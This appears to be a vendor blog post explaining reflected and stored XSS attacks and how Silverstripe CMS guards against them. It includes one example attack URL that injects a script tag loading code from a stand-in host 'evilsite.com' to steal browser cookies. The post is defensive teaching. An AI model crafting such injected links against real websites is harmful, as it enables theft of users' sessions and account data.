This vulnerability is often overlooked by developers because it requires a web user to visit a specific website page or copy and paste malicious content into their browser’s web CMS console. However, it poses a real danger if not taken seriously and left unpatched.
XSS attacks can be divided into two types:
Non-Persistent (Reflected) XSS and
Persistent (Stored) XSS.
Let’s first have a look at an example for Non-Persistent XSS, where a website has the following style URLs,
The parameter tag is used to filter blog posts under a blog page with tags of each article and the blog page then prints out the tag being searched in the front end above the search results. A malicious hacker can exploit the parameter ‘tag’ by appending malicious script.
This suggests to the attackers that this website is XSS vulnerable, then what they can do is to create a link which reads:http://www.website.com/blog?tag=<script%20src="http://evilsite.com/script.js></script>
This link loads a malicious script when landing on the blog page and then the attackers can do what they want on the page and access sensitive data stored in a user’s browser like cookies. Attackers can put this link on related forums or in emails to be sent to their target audience.
Even though this link is suspicious and people are unlikely to click on it, it doesn’t mean there won’t be people clicking. Even if only 1 in each 1,000 viewers clicks the link, that can still compromise a dozen website users. This malicious code can steal account information and run or download malware on a computer.
So, how can users be protected from this type of XSS attack? Take Silverstripe CMS as an example: it converts all URL and parameters appended to html safe format. It converts all ‘<’, ‘>’ and special characters into ‘<’, ‘>’ as well as into other html character codes that won’t let a browser treat what a user has typed in as a script that could be run on client side. The conversion happens before the query is printed on the search result. At this point, the response has not even been returned to the client so there is no way to put malicious script on the filtered blog results page.
Persistent XSS (Stored XSS) vulnerabilities normally occur via social engineering because websites often allow users to share content, including blogs, comments, social networks, videos and message boards. Let’s click into a blog article page and scroll to the comments area.
To prevent this type of attack, the standard Silverstripe CMS comments module has two mechanisms. The first one is comment moderation, all comments posted by visitors have to be approved by the administrator to be displayed on blog articles at the frontend for the public. The administrator can screen out harmful texts with malicious or nasty intent. In addition, all comments are escaped before presenting in the frontend, so that scripts in comments are only treated as plain text and won’t be executed by the browser.
Most frameworks provide websites the ability to create accounts with different permissions, like administrator for the owner of website and author for content editors. It’s quite normal to hire or just invite people from another organisation or department to edit the content of your websites. Sometimes these people may not work in your company or you are not familiar with them and worry they may insert some malicious script into the content purposely or accidentally.
In some cases you may be particularly concerned about which HTML elements are addable to content by authors via CMS. Silverstripe can set restrictions to rule out dangerous tags (such as script tags, iframes, etc), so that your website can have high level security even if external content editors have access to the CMS.
XSS attacks are a real threat and Silverstripe offers your website good security and protection from them enabled by default. Silverstripe does not require you to do any configuration or make extra effort to learn how it works. If you do want to learn more about how Silverstripe works, please contact us: we love to share our insights.